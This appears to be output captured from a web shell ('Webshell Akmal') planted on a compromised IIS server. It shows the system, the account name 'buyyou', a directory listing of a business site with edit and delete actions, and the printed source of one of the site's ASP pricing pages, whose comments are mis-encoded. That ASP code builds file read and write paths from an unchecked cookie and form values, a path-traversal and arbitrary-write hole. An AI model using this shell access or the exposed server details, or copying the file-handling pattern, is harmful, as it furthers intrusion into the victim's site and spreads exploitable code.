Webshell Akmal archtte id

System: Microsoft Windows NT 10.0.20348.0

Server: Microsoft-IIS/10.0

User: buyyou

Directory: C:\MyData\WWW\asc365\

Name	Size	Type	Actions
ASC365_CANADA	-	Directory	Rename Delete
ASC365_Store01	-	Directory	Rename Delete
aspnet_client	-	Directory	Rename Delete
CompanyImage	-	Directory	Rename Delete
TJGS_USA	-	Directory	Rename Delete
zhijian	-	Directory	Rename Delete
Memo.inc	0 bytes	.inc	Edit Rename Delete
web.config	213 bytes	.config	Edit Rename Delete

<html>
<% 'if session(Webpassed)<>"passed" then Response.End %>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<%set fs=Server.CreateObject("Scripting.FileSystemObject") %>
<body>

<% Dim kk(50): dim TBB(50) %>
<% xxx=Request.Cookies("ItemID"): 'response.write xxx%>	
<%
     '-----------------------------
    Set f=fs.OpenTextFile(Server.MapPath(xxx &"/Price.inc"), 1)  '����ԭʼ�۸�
            WW1=trim(f.ReadLine) '��С������
            WW2=trim(f.ReadLine) '��λ
            WW3=trim(f.ReadLine) '���� 
     f.Close:Set f=Nothing:     
     '-----------------------------
     
           if isnumeric(WW3)<>true then WW3="0": WW3=WW3*1

if len(WW3)=0 then WW3="0": WW3=WW3*1
           
           X=1
           for i= 0 to 15
              KK(i)= WW3 * X
            '  response.write KK(i) &" "& x &"<br>"
              X=X+0.05
           next
          
%>

<% Set f=fs.OpenTextFile(Server.MapPath("../GLBPRILM"), 1)   '��ȡ�����ż�
          
            WWw4=trim(f.ReadLine)
               
     f.Close:Set f=Nothing:      %>

</tr>
</table>

<% s=0: TC="0":TT=-5
 
 for ii= 0 to 3 %>
	<tr>
	  <% for i= 0 to 3 %>
	                                                                            <% TT=TT+5 %>
		<td height="25" width="55" align="center"><span style="font-size: 9pt"><%=TT&"%"%></span></td>
																		
		<td height="25" width="55" align="center"><span style="font-size: 9pt"><%=round(KK(s)-WW3,2)%></span></td>
		
		<td height="25" width="87" align="center"  bgcolor="#FFFFCC"><span style="font-size: 9pt"><%=round(KK(s),2)%><%=" $"&round(((KK(s)*100)/www4),2) %><%s=s+1%></span></td>
		
		<td height="25" width="2" align="center"  bgcolor="#666666"></td>

<% next %>
	</tr>
	
	<% next %>
</table>

<% 
                             
	  TB1= trim(request.form("TB1"))
	  TB2= trim(request.form("TB2"))
      TB3= trim(request.form("TB3"))
      if len(TB2)=0 then TB2=0
       
	vv=""				            
	if request.form("Bx1")="Submit" then         '
		set f=fs.CreateTextFile(Server.MapPath(xxx &"/Gprice.inc"),true)  'д���Ʒ�۸�
		Set f1=fs.OpenTextFile(Server.MapPath(xxx & "/GpriceHistory.inc"),8, true)
		
                f.writeline(TB1)
                f.writeline(TB2)
                f.writeline(TB3)
                vv=  TB1 & "|" & TB2 & "|" & TB3 & "|" 
                f1.write date & "|"& time & "|"& vv  & chr(13) & chr(10)
                f.close :set f=nothing :
                f1.Close: set f1=nothing:

end if
	
    If (fs.FileExists(Server.MapPath(xxx &"/GPrice.inc")))<>true then
          set f=fs.CreateTextFile(Server.MapPath(xxx &"/Gprice.inc"),true)
               f.writeline("0")
               f.writeline("0")
               f.writeline("0")
          f.Close:Set f=Nothing:
    end if      
    
	
				                
	Set f=fs.OpenTextFile(Server.MapPath(xxx &"/GPrice.inc"), 1)
           TB1=trim(f.ReadLine)
           TB2=trim(f.ReadLine)
           TB3=trim(f.ReadLine)
     f.Close:Set f=Nothing:

<table border="0" width="796" height="20" bordercolor="#666666" style="border-collapse: collapse">
	<tr><form method="POST" action="">
		<td height="20" width="52"><p align="right"><font style="font-size: 10pt">ÿ(��λ)</font></td>
		<td height="20" width="63"><span style="font-size: 11pt"><input type="text" name="TB1" size="4" value="<%=TB1%>"></span></font></td>
		<td height="20" width="57"><p align="right"><font style="font-size: 10pt">����(Y)</font></td>
		<td height="20" width="47"><span style="font-size: 11pt">
		<input type="text" name="TB2" size="5"value="<%=TB2%>"></span></font></td>
		<td height="20" width="55"><p align="right"><font size="2">(US$)</font></td>
		
		                          <% if isnumeric(TB2)<>true then TB2=0
		                             if isnumeric(ww3)<>true then ww3=0  %>

<%Set fs=Nothing%>
</body>
</html>